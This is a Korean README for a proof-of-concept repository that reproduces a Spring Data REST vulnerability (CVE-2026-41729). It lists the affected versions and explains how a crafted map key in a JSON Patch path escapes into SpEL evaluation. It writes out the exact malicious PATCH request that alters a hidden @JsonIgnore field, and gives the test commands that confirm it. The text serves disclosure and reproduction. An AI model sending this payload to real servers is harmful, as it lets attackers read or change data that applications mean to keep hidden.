
CVE-2026-41729 PoC
이 저장소는 Spring 공식 보안 권고문으로 공개된
CVE-2026-41729의 최소 재현 PoC입니다.
Spring Data REST SpEL Injection via Map Key in JSON PatchAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:NSpring Data REST가 JSON Patch 요청
(Content-Type: application/json-patch+json)을 처리할 때, map-typed property의
map key 경로 조각을 SpEL 표현식에 직접 삽입하는 문제가 있었습니다.
공식 권고문 기준으로, persistent entity가 Map 타입 속성을 노출하고 공격자가
해당 item resource에 PATCH 요청을 보낼 수 있으면, map key segment를 조작해
의도된 map indexer literal 밖으로 빠져나가 aggregate root 컨텍스트에서 SpEL
sub-expression을 평가하게 만들 수 있습니다. read patch path와 write patch path가
모두 영향받는 것으로 공개되었습니다.
이 PoC는 그중 write patch path를 사용해, 일반 REST 표현에서는 노출되지 않는
@JsonIgnore 필드가 crafted JSON Patch path로 변경되는 것을 보여줍니다.
공식 권고문 기준 영향 제품:
영향 버전:
3.7.0 - 3.7.194.3.0 - 4.3.164.4.0 - 4.4.144.5.0 - 4.5.115.0.0 - 5.0.5수정 버전:
3.7.204.3.174.4.154.5.12 또는 4.5.11.15.0.6 또는 5.0.5.1테스트는 실제 Spring Boot 애플리케이션을 띄우고 Spring Data REST repository
endpoint에 HTTP PATCH 요청을 보냅니다.
도메인 객체는 다음 구조를 가집니다.
people mapPerson 안에 존재하지만 Jackson/Spring Data REST 표현에서는 숨겨진
hiddenChildren map일반 REST 응답에서는 hiddenChildren과 내부 값이 보이지 않습니다.
GET /wrappers/sample
직접 숨겨진 속성을 지정하는 JSON Patch는 거부됩니다.
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a/hiddenChildren/b/name",
"value": "after"
}
]
하지만 crafted map key를 사용하면 Spring Data REST의 JSON Patch path -> SpEL path 변환 과정에서 의도된 map key literal을 벗어나 숨겨진 속성 경로로 이어질 수 있습니다.
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a'].hiddenChildren['b/name",
"value": "after"
}
]
취약 버전에서는 이 요청이 성공하고 내부 값이 다음처럼 바뀝니다.
before -> after
테스트는 map에 a'].hiddenChildren['b라는 실제 key가 생성된 것이 아니라,
표현식 breakout 때문에 숨겨진 property path가 수정되었음을 확인합니다.
Windows:
.\mvnw.cmd test
macOS/Linux:
./mvnw test
취약 버전 기준 기대 결과:
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS
테스트 성공은 "취약 동작이 재현되었다"는 의미입니다. 즉, 취약한 의존성에서는 crafted JSON Patch 요청이 성공하면서 숨겨진 내부 상태 변경을 증명합니다.
이 저장소는 Spring Boot 3.5.14 parent를 사용하며, 해당 조합에서
spring-data-rest-webmvc 4.5.11이 해석됩니다. 이는 공식 권고문의 영향 범위인
4.5.0 - 4.5.11에 포함됩니다.
Spring Data REST endpoint에 JSON Patch 요청을 보낼 수 있는 공격자는 map key를 조작해 서버 측에서 의도하지 않은 SpEL 경로 평가를 유도할 수 있습니다. 그 결과, 애플리케이션이 REST 표현으로 노출하지 않으려 한 객체 그래프의 내부 값이 읽히거나 수정될 수 있습니다.
공식 권고문은 기밀성 및 무결성 영향을 High로 평가했습니다.
공식 Spring 권고문에는 다음과 같이 기재되어 있습니다.